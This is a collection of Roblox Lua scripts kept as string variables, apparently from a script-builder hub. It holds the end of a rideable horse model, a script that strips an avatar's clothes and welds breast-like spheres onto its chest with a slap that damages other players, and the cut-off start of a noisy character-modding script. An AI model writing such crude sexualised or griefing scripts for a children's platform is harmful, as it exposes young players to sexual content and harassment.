Hoof.BrickColor = HoofColor
Hoof.CanCollide = false
Hoof.Size = Vector3.new(.2,.599,.4)
Weld(RFHoof,Hoof,CFrame.new(-.3,0,.2))



Seat = Instance.new("VehicleSeat",Model)
Seat.TopSurface,Seat.BottomSurface,Seat.LeftSurface,Seat.RightSurface,Seat.FrontSurface,Seat.BackSurface = 10,10,10,10,10,10
Seat.Size = Vector3.new(2,1.2,.5)
Seat.HeadsUpDisplay = false
Seat.CanCollide = false
Seat:BreakJoints()
Seat.Transparency = 1
Seat.CFrame = Main.CFrame
SeatWeld = Weld(Main,Seat,CFrame.new(0,2.5,-.5),CFrame.new(0,0,0))
local SeatWeld0 = SeatWeld.C0

Seat2 = Instance.new("Seat",Model)
Seat2.TopSurface,Seat2.BottomSurface,Seat2.LeftSurface,Seat2.RightSurface,Seat2.FrontSurface,Seat2.BackSurface = 10,10,10,10,10,10
Seat2.Size = Vector3.new(2,1.2,.5)
Seat2.CanCollide = false
Seat2.CFrame = Main.CFrame
Seat2:BreakJoints()
Seat2.Transparency = 1
Weld(Seat2,Seat,CFrame.new(0,0,-1.8))

SaddleMain = NP()
SaddleMain.Size = Vector3.new(2,1,3.5)
SaddleMain.BrickColor = SaddleColor
Sphere(SaddleMain)
Weld(Seat,SaddleMain,CFrame.new(0,-0.5,0.6))

SaddleFront = NP()
SaddleFront.Size = Vector3.new(1.6,1,0.3)
SaddleFront.BrickColor = SaddleColor
Sphere(SaddleFront)
Weld(SaddleMain,SaddleFront,CFrame.new(0,0.4,-1.4)*CFrame.Angles(math.rad(-30),0,0))

SaddleBack = NP()
SaddleBack.Size = Vector3.new(1.6,1,0.5)
SaddleBack.BrickColor = SaddleColor
Sphere(SaddleBack)
Weld(SaddleMain,SaddleBack,CFrame.new(0,0.3,1.4)*CFrame.Angles(math.rad(30),0,0))

SaddleFlankR = NP()
SaddleFlankR.Size = Vector3.new(0.3,1.7,1.8)
SaddleFlankR.BrickColor = SaddleColor
Sphere(SaddleFlankR)
Weld(SaddleMain,SaddleFlankR,CFrame.new(1.5,-0.8,0),CFrame.new(0.1,-0.7,0)*CFrame.Angles(0,0,math.rad(-30)))

SaddleFlankL = NP()
SaddleFlankL.Size = Vector3.new(0.3,1.7,1.8)
SaddleFlankL.BrickColor = SaddleColor
Sphere(SaddleFlankL)
Weld(SaddleMain,SaddleFlankL,CFrame.new(-1.5,-0.8,0),CFrame.new(-0.1,-0.7,0)*CFrame.Angles(0,0,math.rad(30)))



local sWeld1,sWeld2;

Seat.DescendantAdded:connect(function(obj)
    if obj.Name == "SeatWeld" then
        sWeld1 = obj
      torso2 = obj.Part1.Parent.Torso
        local Torso = obj.Part1.Parent.Torso
        obj.C0 = obj.C0*CFrame.new(0,0,-1.5)
        local lhipr = Torso:FindFirstChild("Left Hip")
        local rhipr = Torso:FindFirstChild("Right Hip")
        if not lhipr or not rhipr then game:service'Debris':addItem(obj,.1) return end
        for i,v in pairs(Model:GetChildren()) do
            if v.Name == "Reins" and v:IsA("BasePart") then
                v.Transparency = Main.Transparency
            end
        end
        local lh0,lh1 = lhipr.Part0,lhipr.Part1
        local rh0,rh1 = rhipr.Part0,rhipr.Part1
        lhipr.Part0,lhipr.Part1 = nil,nil
        rhipr.Part0,rhipr.Part1 = nil,nil
        local lhip = lhipr:Clone()
        lhip.Name = "LH"
        lhip.Parent = lhipr.Parent
        lhip.Part0,lhip.Part1 = lh0,lh1
        local rhip = rhipr:Clone()
        rhip.Name = "RH"
        rhip.Parent = rhipr.Parent
        rhip.Part0,rhip.Part1 = rh0,rh1
        lhip.DesiredAngle = 0
        rhip.DesiredAngle = 0
        local lhip0,lhip1,rhip0,rhip1 = lhip.C0,lhip.C1,rhip.C0,rhip.C1
        lhip.C0 = lhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(-40))
        lhip.C1 = lhip1*CFrame.new(0.1,-0.2,0)
        rhip.C0 = rhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(40))
        rhip.C1 = rhip1*CFrame.new(-0.1,-0.2,0)
        local toolOn = false
        local toolAn = 0
        local toolCon;
        local toolChan;
        local oc0 = obj.C0
        local newChild = function(d)
            local md = d:FindFirstChild("MouseDown")
            if d:IsA("Tool") and md and md:IsA("BoolValue") then
                pcall(function() toolChan:disconnect() end)
                toolOn = false
                toolChan = md.Changed:connect(function()
                    toolOn = md.Value
                    if not toolOn then return end
                    pcall(function() ReinsHold = CFrame.new(0,2,-1.7) end)
                    while toolOn and game:service'RunService'.Stepped:wait() do
                        toolAn = math.min(1,toolAn+.2)
                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
                    end
                    while not toolOn and game:service'RunService'.Stepped:wait() do
                        toolAn = math.max(0,toolAn-.2)
                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
                        if toolAn == 0 then break end
                    end
                    ReinsHold = nil
                end)
            end
        end
        local ctrlgui;
        if Torso.Parent then
            toolCon = Torso.Parent.ChildAdded:connect(newChild)
            for i,v in pairs(Torso.Parent:GetChildren()) do
                newChild(v)
            end
            local plr = game.Players:GetPlayerFromCharacter(Torso.Parent)
            if plr then
                ctrlgui = Instance.new("ScreenGui")
                local fr = Instance.new("Frame",ctrlgui)
                fr.Position = UDim2.new(1,0,.9,0)
                fr.Size = UDim2.new(-.07,0,.02,0)
                fr.BackgroundTransparency = 1
                local function nbtn(text,indent)
                    for i,v in pairs(fr:GetChildren()) do
                        v.Position = v.Position - UDim2.new(0,0,1,1)
                    end
                    local tb = Instance.new("TextButton",fr)
                    tb.Size = UDim2.new(-1,4+(indent-1)*3,1,-4)
                    tb.Position = UDim2.new(1,2,0,2)
                    tb.BorderSizePixel = 3
                    tb.BackgroundColor3 = HorseColor.Color
                    tb.BorderColor3 = ManeColor.Color
                    tb.Text = " "..text.."   "
                    tb.TextXAlignment = "Left"
                    tb.TextColor3 = Color3.new(1,1,1)
                    tb.TextStrokeTransparency = .6
                    tb.TextScaled = true
                    tb.ZIndex = 10
                    local il = Instance.new("ImageLabel",tb)
                    il.Size = UDim2.new(-1,2,1,-2)
                    il.Image = "rbxassetid://129465985"
                    il.SizeConstraint = "RelativeYY"
                    il.BackgroundTransparency = 1
                    il.Position = UDim2.new(1,0,0,2)
                    il.ZIndex = 10
                    return tb
                end
                nbtn("| Horse menu",1).AutoButtonColor = false
                nbtn("- Max speed",2).AutoButtonColor = false
                local gal = nbtn("~ Gallop",3)
                local trot = nbtn("~ Trot",3)
                local walk = nbtn("~ Walk",3)
                local tar = (SpeedLimit == MaxSpeed and gal or SpeedLimit == TrotSpeed and trot or walk)
                tar.BackgroundColor3 = Color3.new(0,.7,0)
                gal.MouseButton1Down:connect(function()
                    gal.BackgroundColor3 = Color3.new(0,.7,0)
                    trot.BackgroundColor3 = HorseColor.Color
                    walk.BackgroundColor3 = HorseColor.Color
                    SpeedLimit = MaxSpeed
                end)
                trot.MouseButton1Down:connect(function()
                    gal.BackgroundColor3 = HorseColor.Color
                    trot.BackgroundColor3 = Color3.new(0,.7,0)
                    walk.BackgroundColor3 = HorseColor.Color
                    SpeedLimit = TrotSpeed
                end)
                walk.MouseButton1Down:connect(function()
                    gal.BackgroundColor3 = HorseColor.Color
                    trot.BackgroundColor3 = HorseColor.Color
                    walk.BackgroundColor3 = Color3.new(0,.7,0)
                    SpeedLimit = WalkSpeed
                end)
                pcall(function()
                for i,v in pairs(plr:GetChildren()) do
                    pcall(function()
                    if v:IsA("PlayerGui") then
                        ctrlgui.Parent = v
                    end
                    end)
                end
                end)
            end
        end

        obj.AncestryChanged:connect(function(c,p)
            if c ~= obj or p == Seat then return end
            lhip:Destroy()
            rhip:Destroy()
            lhipr.Part0,lhipr.Part1 = lh0,lh1
            rhipr.Part0,rhipr.Part1 = rh0,rh1
            obj:Destroy()
            ReinsHold = nil
            for i,v in pairs(Model:GetChildren()) do
                if v.Name == "Reins" and v:IsA("BasePart") then
                    v.Transparency = 1
                end
            end
            pcall(function() toolCon:disconnect() end)
            pcall(function() toolChan:disconnect() end)
            pcall(game.Destroy,ctrlgui)
        end)
    end
end)

Seat2.DescendantAdded:connect(function(obj)
    if obj.Name == "SeatWeld" then
        sWeld2 = obj
        local Torso = obj.Part1.Parent.Torso
        obj.C0 = obj.C0*CFrame.new(0,.5,-1.5)
        local lhipr = Torso:FindFirstChild("Left Hip")
        local rhipr = Torso:FindFirstChild("Right Hip")
        if not lhipr or not rhipr then game:service'Debris':addItem(obj,.1) return end
        local lh0,lh1 = lhipr.Part0,lhipr.Part1
        local rh0,rh1 = rhipr.Part0,rhipr.Part1
        lhipr.Part0,lhipr.Part1 = nil,nil
        rhipr.Part0,rhipr.Part1 = nil,nil
        local lhip = lhipr:Clone()
        lhip.Name = "LH"
        lhip.Parent = lhipr.Parent
        lhip.Part0,lhip.Part1 = lh0,lh1
        local rhip = rhipr:Clone()
        rhip.Name = "RH"
        rhip.Parent = rhipr.Parent
        rhip.Part0,rhip.Part1 = rh0,rh1
        lhip.DesiredAngle = 0
        rhip.DesiredAngle = 0
        local lhip0,lhip1,rhip0,rhip1 = lhip.C0,lhip.C1,rhip.C0,rhip.C1
        lhip.C0 = lhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(-40))
        lhip.C1 = lhip1*CFrame.new(0.1,-0.2,0)
        rhip.C0 = rhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(40))
        rhip.C1 = rhip1*CFrame.new(-0.1,-0.2,0)
        local toolOn = false
        local toolAn = 0
        local toolCon;
        local toolChan;
        local oc0 = obj.C0
        local newChild = function(d)
            local md = d:FindFirstChild("MouseDown")
            if d:IsA("Tool") and md and md:IsA("BoolValue") then
                pcall(function() toolChan:disconnect() end)
                toolOn = false
                toolChan = md.Changed:connect(function()
                    toolOn = md.Value
                    if not toolOn then return end
                    while toolOn and game:service'RunService'.Stepped:wait() do
                        toolAn = math.min(1,toolAn+.2)
                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
                    end
                    while not toolOn and game:service'RunService'.Stepped:wait() do
                        toolAn = math.max(0,toolAn-.2)
                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
                        if toolAn == 0 then break end
                    end
                end)
            end
        end
        toolCon = Torso.Parent.ChildAdded:connect(newChild)
        for i,v in pairs(Torso.Parent:GetChildren()) do
            newChild(v)
        end
        obj.AncestryChanged:connect(function(c,p)
            if c ~= obj or p == Seat2 then return end
            lhip:Destroy()
            rhip:Destroy()
            lhipr.Part0,lhipr.Part1 = lh0,lh1
            rhipr.Part0,rhipr.Part1 = rh0,rh1
            obj:Destroy()
        end)
    end
end)

for i,v in pairs(Model:GetChildren()) do
    if v.Name == "Reins" and v:IsA("BasePart") then
        v.Transparency = 1
    end
end

local Filler = NP()
Filler.Size = Vector3.new(3,4,7)
Filler.Transparency = 1
Weld(Main,Filler,CFrame.new(0,-2,0))

local BallB = NP()
BallB.CanCollide = true
BallB.Shape = "Ball"
BallB.Size = Vector3.new(3,3,3)
BallB.Transparency = 1
local BBW = Weld(Main,BallB,CFrame.new(0,-Height+BallB.Size.Y/2,3))
BBW0 = BBW.C0

local BallF = NP()
BallF.CanCollide = true
BallF.Shape = "Ball"
BallF.Size = Vector3.new(3,3,3)
BallF.Transparency = 1
local FBW = Weld(Main,BallF,CFrame.new(0,-Height+BallB.Size.Y/2,-3))
FBW0 = FBW.C0

local BG = Instance.new("BodyGyro",Main)
BG.cframe = Main.CFrame
local bgcf = BG.cframe
BG.maxTorque = Vector3.new(1,1,1)*4e6

local BF = Instance.new("BodyForce",Main)
BF.force = Vector3.new(0,10000,0)

local BV = Instance.new("BodyVelocity",Main)
BV.maxForce = Vector3.new(1,1,1)*4e6
BV.velocity = Vector3.new()
local bvvel = Vector3.new()

local Legs = {
    FR1,FR2,FR3,
    FL1,FL2,FL3,
    BR1,BR2,BR3,
    BL1,BL2,BL3,
}
local Legs0 = {}
for i,v in pairs(Legs) do
    Legs0[i] = v.C0
end

function RayCast(Ray,Ignore)
    local hit,p = workspace:FindPartOnRayWithIgnoreList(Ray,Ignore)
    if not hit or hit.CanCollide then
        return hit,p
    elseif hit then
        table.insert(Ignore,hit)
        return RayCast(Ray,Ignore)
    end
end


--Model:MoveTo(startpos.p)

local climbangle = 0
local blinktimer = 0

--while game:GetService("RunService").Stepped:wait() do
local connection
connection = game:GetService("RunService").Stepped:connect(oc(function()
    if not Model:IsDescendantOf(workspace) then
        pcall(game.Destroy,Model)
        pcall(game.Destroy,script)
        connection:disconnect()
    end
    local th = Seat.Throttle
    local st = Seat.Steer
    local TailSin = math.sin(tick()*(th==1 and .5+Speed/MaxSpeed*6 or 2))
    local BreathSin = math.sin(tick()*(th==1 and (Speed<=WalkSpeed and WalkSin/2 or Speed<=TrotSpeed and TrotSin/2 or GallopSin/2) or 2))
    TailWeld.C0 = clerp(TailWeld.C0,TailWeld0 * CFrame.Angles(math.rad(th == 1 and 20+math.min(1,Speed/MaxSpeed)*(-50+TailSin*10) or th==-1 and 25 or 20),0,TailSin*.3),.15)

    local d,un = 10;
    if th == 0 and st == 0 then
        for i,v in pairs(game:GetService("Players"):GetPlayers()) do
            pcall(function()
                local dis = v:DistanceFromCharacter(Head.Position)
                if dis < d then
                    local u = Main.CFrame:vectorToObjectSpace((v.Character.Head.Position-Head.Position).unit)
                    if u.Z < 0 then
                        d,un = dis,u
                    end
                end
            end)
        end
    end

    if math.random(1,150) == 1 then
        blinktimer = 4
    end
    if blinktimer > 0 then
        EyeR.BrickColor = HorseColor
        EyeL.BrickColor = HorseColor
        blinktimer = blinktimer - 1
    else
        EyeR.BrickColor = EyeColor
        EyeL.BrickColor = EyeColor
    end
    NeckWeld.C0 = clerp(NeckWeld.C0,CFrame.Angles(0,-st*.1-(un and math.sin(un.X)/2 or 0),-st*.1) *NeckWeld0 * CFrame.Angles(math.rad(BreathSin*2+(th==1 and -math.min(1,math.max(0,Speed-10)/(MaxSpeed-10))*45 or th == -1 and 10 or 0))+(un and math.sin(un.Y)/2 or 0),0,0),.15)
    HeadWeld.C0 = clerp(HeadWeld.C0,CFrame.Angles(0,-st*.3-(un and math.sin(un.X)/2 or 0),-st*.1) *HeadWeld0 * CFrame.Angles(math.rad(BreathSin*-4+(th==1 and 10 or th == -1 and -30 or 0))+(un and math.sin(un.Y)/2 or 0),0,0),.15)
    MainMesh.Scale = Vector3.new(1,1+(BreathSin*.025),1)
    SeatWeld.C0 = SeatWeld0 + Vector3.new(0,BreathSin*.05,0)
    bgcf = bgcf * CFrame.Angles(0,-st*.05,0)
    BG.cframe = clerp(bgcf,bgcf * CFrame.Angles(0,0,th==1 and -st*(.1+Speed/MaxSpeed*.1) or 0),.1)*CFrame.Angles(climbangle,0,-st*.25*(Speed/MaxSpeed))
    Speed = math.max(th==-1 and -WalkSpeed or th==1 and math.min(SpeedLimit,10) or 0,math.min(SpeedLimit,Speed+(th==1 and .25 or -3)))
    updown = th==1 and Speed > TrotSpeed and math.abs(math.sin((tick()-.1)*3)) or math.max(0,(updown or 0)-.1)

    local front = Main.CFrame*CFrame.new(0,0,-3)
    local back = Main.CFrame*CFrame.new(0,0,3)


    local fHit,fP = RayCast(Ray.new(front.p,front:vectorToWorldSpace(Vector3.new(0,-Height*6,0))),{Model})

    local fDiff = (front.p-fP).magnitude
    if fDiff > Height*2 then
        fHit = nil
    end
    local fY = math.max(fP.Y,front.Y-Height)

    local bHit,bP = RayCast(Ray.new(back.p,back:vectorToWorldSpace(Vector3.new(0,-Height*6,0))),{Model})
    local bDiff = (back.p-bP).magnitude
    if bDiff > Height*2 then
        bHit = nil
    end
    local bY = math.max(bP.Y,back.Y-Height)

    local diffY = (fY+bY)/2-(Main.Position.Y-Height)

    climbangle = fHit and bHit and math.asin((fP-bP).unit.Y) or climbangle*.5

    bvvel = Main.CFrame.lookVector.unit * Speed
    BV.velocity = (fP-bP).unit*Speed + Vector3.new(0,-(math.min(fDiff-Height,bDiff-Height)+updown*.8)*3,0)
    BV.maxForce = Vector3.new(1,1,1)*4e6
    BBW.C0 = BBW0 + Vector3.new(0,updown*.8,-1.4)
    FBW.C0 = FBW0 + Vector3.new(0,updown*.8,1.4)

    for i=1,#Legs,3 do
        local ang = 0;
        local ang2 = 0;
        local ang3 = 0;
        local time = tick()
        if i < #Legs/2 then -- front
            if i%6 == 1 then -- Right
                if th == 1 then
                    if Speed <= WalkSpeed then -- walky
                        ang = math.sin(time*WalkSin)*.15 + .05
                        ang2 = -math.abs(math.cos(time*WalkSin/2))*.4
                    elseif Speed <= TrotSpeed then
                        ang = math.sin(time*TrotSin)*.5 + .4
                        ang2 = -math.abs(math.cos(time*TrotSin/2))*1.7
                    else
                        ang = math.sin(time*6)*.8 + .35
                        ang2 = -math.abs(math.cos(time*3))*1.8
                    end
                elseif th == -1 then
                    ang = math.sin(time*6)*.3 +.25
                    time = time -.1
                    ang2 = -math.abs(math.sin(time*3))*1.3 +.2
                else
                    ang = math.sin(tick()*2)*.5 + .5
                    ang2 = -math.abs(math.cos(tick()*1) )*1.5
                    ang3 = ang2
                end
            else -- left
                if th == 1 then
                    if Speed <= WalkSpeed then -- walky
                        time = time + math.pi/WalkSin
                        ang = math.sin(time*WalkSin)*.15 + .05
                        ang2 = -math.abs(math.cos(time*WalkSin/2))*.4
                    elseif Speed <= TrotSpeed then
                        time = time + math.pi/TrotSin
                        ang = math.sin(time*TrotSin)*.5 + .4
                        ang2 = -math.abs(math.cos(time*TrotSin/2))*1.7
                    else
                        time = time + .15
                        ang = math.sin(time*6)*.8 + .35
                        ang2 = -math.abs(math.cos(time*3))*1.8
                    end
                elseif th == -1 then
                    time = time + math.pi/2
                    ang = math.sin(time*6)*.3 +.25
                    time = time -.1
                    ang2 = -math.abs(math.sin(time*3))*1.3 +.2
                else
                end
            end
        else -- back
            if i%6 == 1 then -- Right
                if th == 1 then
                    if Speed <= WalkSpeed then -- walky
                        ang = math.sin(time*WalkSin)*.1 - .6
                        ang2 = math.abs(math.cos(time*WalkSin/2))*.5 + .4
                    elseif Speed <= TrotSpeed then
                        ang = math.sin(time*TrotSin)*.5 - .8
                        ang2 = math.abs(math.cos(time*TrotSin/2))*1.4 - .1
                        ang3 = ang2-1
                    else
                        time = time + math.pi/2
                        ang = math.sin(time*6)*.5 - .8
                        ang2 = math.abs(math.cos(time*3))*1.4 - .1
                        ang3 = ang2-1
                    end
                elseif th == -1 then
                    ang = math.sin(time*6)*.2 - .6
                    time = time -.5
                    ang2 = math.abs(math.cos(time*3))*1.4 - .1
                    ang3 = math.sin(time*6)*.2
                else
                    ang = -.5
                    ang2 = .65
                    ang3 = -.15
                end
            else -- left
                if th == 1 then
                    if Speed <= WalkSpeed then -- walky
                        time = time + math.pi/WalkSin
                        ang = math.sin(time*WalkSin)*.1 - .7
                        ang2 = math.abs(math.cos(time*WalkSin/2))*.5 + .4
                    elseif Speed <= TrotSpeed then
                        time = time - math.pi/TrotSin
                        ang = math.sin(time*TrotSin)*.5 - .8
                        ang2 = math.abs(math.cos(time*TrotSin/2))*1.4 - .1
                        ang3 = ang2-1
                    else
                        time = time + math.pi/2 - .15
                        ang = math.sin(time*6)*.5 - .8
                        ang2 = math.abs(math.cos(time*3))*1.4 - .1
                        ang3 = ang2-1
                    end
                elseif th == -1 then
                    time = time + math.pi/2
                    ang = math.sin(time*6)*.2 - .6
                    time = time -.5
                    ang2 = math.abs(math.cos(time*3))*1.4 - .1
                    ang3 = math.sin(time*6)*.2
                else
                    ang = -.55
                    ang2 = .65
                    ang3 = -.1
                end
            end
        end
        Legs[i].C0 = clerp(Legs[i].C0,Legs0[i] * CFrame.Angles(ang,0,0), .2)
        Legs[i+1].C0 =clerp(Legs[i+1].C0, Legs0[i+1] * CFrame.Angles(ang2,0,0), .2)
        Legs[i+2].C0 = clerp(Legs[i+2].C0, Legs0[i+2] * CFrame.Angles(ang3,0,0), .2)
    end

    -- Reins
    if ReinLineM and ReinLineM.Part1 and ReinLineM.Part1.Transparency < 1 then
        local rHold = ReinsHold or CFrame.new(0,3.5,-2)
        ReinSphereL.C0 = rHold*CFrame.new(-1.8,0,0) + Vector3.new(0,BreathSin*.05,0)
        ReinSphereR.C0 = rHold*CFrame.new(1.8,0,0) + Vector3.new(0,BreathSin*.05,0)
        local lp1 = Main.CFrame:pointToObjectSpace(ReinAnchorL.Position) + Vector3.new(-0.05,0,0)
        local lp2 = ReinSphereL.C0.p
        ReinLineL.C0 = CFrame.new(lp1:Lerp(lp2,.5),lp2)*CFrame.Angles(0,math.pi/2,0)
        ReinLineL.Part1.Mesh.Scale = Vector3.new((lp2-lp1).magnitude/ReinLineL.Part1.Size.X,1,1)
        local rp1 = Main.CFrame:pointToObjectSpace(ReinAnchorR.Position) + Vector3.new(0.05,0,0)
        local rp2 = ReinSphereR.C0.p
        ReinLineR.C0 = CFrame.new(rp1:Lerp(rp2,.5),rp2)*CFrame.Angles(0,math.pi/2,0)
        ReinLineR.Part1.Mesh.Scale = Vector3.new((rp2-rp1).magnitude/ReinLineR.Part1.Size.X,1,1)
        ReinLineM.C0 = CFrame.new(lp2:Lerp(rp2,.5),rp2)*CFrame.Angles(0,math.pi/2,0)
        ReinLineM.Part1.Mesh.Scale = Vector3.new((rp2-lp2).magnitude/ReinLineM.Part1.Size.X,1,1)
    end
    for i,v in pairs(BackHairs) do
        v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.05,math.sin(BreathSin+i^2)*.05,math.sin(BreathSin+i^3)*.05) + Vector3.new(0,BreathSin*.05,0)
    end
    --[[
    for i,v in pairs(TailHairs) do
        v.w.C0 = v.c0 * CFrame.Angles(math.sin(TailSin+i)*.05,math.sin(TailSin+i^2)*.05,math.sin(TailSin+i^3)*.05)
    end
    for i,v in pairs(NeckHairs) do
        v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.05,math.sin(BreathSin+i^2)*.05,math.sin(BreathSin+i^3)*.05)
    end
    for i,v in pairs(HeadHairs) do
        v.w.C0 = v.c0 * CFrame.Angles(math.sin(BreathSin+i)*.08,math.sin(BreathSin+i^2)*.08,math.sin(BreathSin+i^3)*.08)
    end]]
end))
]==]

B0ob = [==[
local player=game.Players.LocalPlayer
local char=player.Character
local mouse=player:GetMouse()
local attacking = false
local debounce = false
Smp = "SmoothPlastic"
Sm = "Smooth"

local s1=Instance.new("Sound")
s1.SoundId="http://www.roblox.com/asset/?id=157299184"
s1.PlayOnRemove=false
s1.Volume=200
s1.Looped=false
s1.Pitch = 1
s1.Parent=char["Right Arm"]

local s2=Instance.new("Sound")
s2.SoundId="http://www.roblox.com/asset/?id=155363126"
s2.PlayOnRemove=false
s2.Volume=200
s2.Looped=false
s2.Pitch = 1
s2.Parent=char.Torso

local s3=Instance.new("Sound")
s3.SoundId="http://www.roblox.com/asset/?id=147876501"
s3.PlayOnRemove=false
s3.Volume=200
s3.Looped=true
s3.Pitch = 1
s3.Parent=char.Head

for _,v in pairs(char:GetChildren()) do if v.ClassName=="Hat" then v:remove() end end

if char:findFirstChild("Shirt") then
        char.Shirt:Remove()
end

if char:findFirstChild("Pants") then
        char.Pants:Remove()
end


local slap = Instance.new("Animation", char)
slap.AnimationId = "rbxassetid://160958710"
slap.Name = "slap"

local dance = Instance.new("Animation", char)
dance.AnimationId = "rbxassetid://168156427"
dance.Name = "dance"



game:service'InsertService':LoadAsset(13745548):children()[1].Parent = char
char.Head.face.Texture = "http://www.roblox.com/asset/?id=114820106"

local circle = Instance.new("Part",char)
circle.Size = Vector3.new(1.4,1.4,1.4)
circle.Locked = true
circle.Material = Smp
circle.TopSurface = Sm
circle.BottomSurface = Sm
circle.Name = "circle"
circle.Shape = 0
circle.formFactor = "Custom"
circle.BrickColor = char.Torso.BrickColor
circle:BreakJoints()
local circleweld = Instance.new("Weld",circle)
circleweld.Name = "circleweld"
circleweld.Part0 = circle
circleweld.Part1 = char.torso
circleweld.C0 = CFrame.new(-.45,-.40,.80)

One = Instance.new("Decal",circle)
One.Texture = "http://www.roblox.com/asset/?id=74033309"
One.Face ="Front"

local circle2 = Instance.new("Part",char)
circle2.Size = Vector3.new(1.4,1.4,1.4)
circle2.Locked = true
circle2.Material = Smp
circle2.TopSurface = Sm
circle2.BottomSurface = Sm
circle2.Name = "circle2"
circle2.Shape = 0
circle2.formFactor = "Custom"
circle2.BrickColor = char.Torso.BrickColor
circle2:BreakJoints()
local circle2weld = Instance.new("Weld",circle2)
circle2weld.Name = "circle2weld"
circle2weld.Part0 = circle2
circle2weld.Part1 = char.torso
circle2weld.C0 = CFrame.new(.45,-.40,.80)
Two = Instance.new("Decal",circle2)
Two.Texture = "http://www.roblox.com/asset/?id=74033309"
Two.Face ="Front"

char["Right Arm"].Touched:connect(function(hit)
if debounce == false then
    debounce = true
    isPlayer = hit.Parent:FindFirstChild("Humanoid")
    if isPlayer and attacking == true then
        isPlayer:TakeDamage(13)
s2.Parent = isPlayer.Parent.Head
s2:Play()
wait(0.5)
end
debounce = false
end
end)

mouse.KeyDown:connect(function(key) local key=key:lower()
        if key=="f" then
s1:Play()
                local vCharacter = char
        local hum = vCharacter:findFirstChild("Humanoid")
        blah = hum:LoadAnimation(char.slap)
        blah:Play()
        end
end)

mouse.KeyDown:connect(function(key) local key=key:lower()
        if key=="f" then
                attacking = true
                wait(0.5)
                attacking = false
        end
end)
mouse.KeyDown:connect(function(key) local key=key:lower()
        if key=="g" then
                local vCharacter = char
        local hum = vCharacter:findFirstChild("Humanoid")
        blah2 = hum:LoadAnimation(char.dance)
        blah2:Play()
        s3:Play()
        end
end)
mouse.KeyUp:connect(function(key) local key=key:lower()
        if key=="g" then
                blah2:Stop()
        s3:Pause()
        end
        end)
]==]

Mini = [==[
local ran,err = ypcall(function()
plr = game:service'Players'.LocalPlayer
char = plr.Character
mouse = plr:GetMouse()
humanoid = char:findFirstChild("Humanoid")
torso = char:findFirstChild("Torso")
head = char.Head
ra = char:findFirstChild("Right Arm")
la = char:findFirstChild("Left Arm")
rl = char:findFirstChild("Right Leg")
ll = char:findFirstChild("Left Leg")
rs = torso:findFirstChild("Right Shoulder")
ls = torso:findFirstChild("Left Shoulder")
rh = torso:findFirstChild("Right Hip")
lh = torso:findFirstChild("Left Hip")
neck = torso:findFirstChild("Neck")
rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
anim = char:findFirstChild("Animate")
rootpart = char:findFirstChild("HumanoidRootPart")
camera = workspace.CurrentCamera
if anim then
anim:Destroy()
end


rj.C0 = CFrame.new()
rj.C1 = CFrame.new()


super_annoying = Instance.new("Sound", head)
super_annoying.SoundId = "http://www.roblox.com/asset/?id=148896355"
super_annoying.Volume = 0.6
super_annoying.Looped = true
barrel_roll = Instance.new("Sound", head)
barrel_roll.SoundId = "http://www.roblox.com/asset/?id=167781905"
barrel_roll.Volume = 1
barrel_roll.Looped = true
dubstep_gun = Instance.new("Sound", head)
dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=161103614"
dubstep_gun.Volume = 0.6
dubstep_gun.Looped = true
you_are_pirate = Instance.new("Sound", head)
you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=143750088"
you_are_pirate.Volume = 0.6
you_are_pirate.Looped = true
cant_touch = Instance.new("Sound", head)
cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929"
cant_touch.Volume = 1
cant_touch.Looped = true
gangy_style = Instance.new("Sound", head)
gangy_style.SoundId = "http://www.roblox.com/asset/?id=140645302"
gangy_style.Volume = 0.6
gangy_style.Looped = true
fox_say = Instance.new("Sound", head)
fox_say.SoundId = "http://www.roblox.com/asset/?id=130797915"
fox_say.Volume = 0.5
fox_say.Looped = true
durk = Instance.new("Sound", head)
durk.SoundId = "http://www.roblox.com/asset/?id=150740745"
durk.Volume = 0.8
durk.Looped = true
sax_guy = Instance.new("Sound", head)
sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684"
sax_guy.Volume = 0.6
sax_guy.Looped = true
heman = Instance.new("Sound", head)
heman.SoundId = "http://www.roblox.com/asset/?id=131102548"
heman.Volume = 1
heman.Looped = true
justin = Instance.new("Sound", head)
justin.SoundId = "http://www.roblox.com/asset/?id=143736517"
justin.Volume = 0.8
justin.Looped = true
brony_music = Instance.new("Sound", head)
brony_music.SoundId = "http://www.roblox.com/asset/?id=134754481"
brony_music.Volume = 1
brony_music.Looped = true
spitfire = Instance.new("Sound", head)
spitfire.SoundId = "http://www.roblox.com/asset/?id=129490596"
spitfire.Volume = 0.8
spitfire.Looped = true
burn_dem = Instance.new("Sound", head)
burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469"
burn_dem.Volume = 1
burn_dem.Looped = true


if char:findFirstChild("Shirt") then
    char:findFirstChild("Shirt"):Destroy()
end
if char:findFirstChild("Pants") then
    char:findFirstChild("Pants"):Destroy()
end
if char:findFirstChild("Shirt Graphic") then
    char:findFirstChild("Shirt Graphic"):Destroy()
end

Instance.new("HumanoidController", game:service'ControllerService')
Instance.new("SkateboardController", game:service'ControllerService')
Instance.new("VehicleController", game:service'ControllerService')

rh.Parent = nil
lh.Parent = nil
rs.Parent = nil
ls.Parent = nil
neck.Parent = nil
rj.Parent = nil


rl.FormFactor = "Custom"
ll.FormFactor = "Custom"
ra.FormFactor = "Custom"
la.FormFactor = "Custom"
torso.FormFactor = "Custom"
head.FormFactor = "Custom"
rootpart.FormFactor = "Custom"

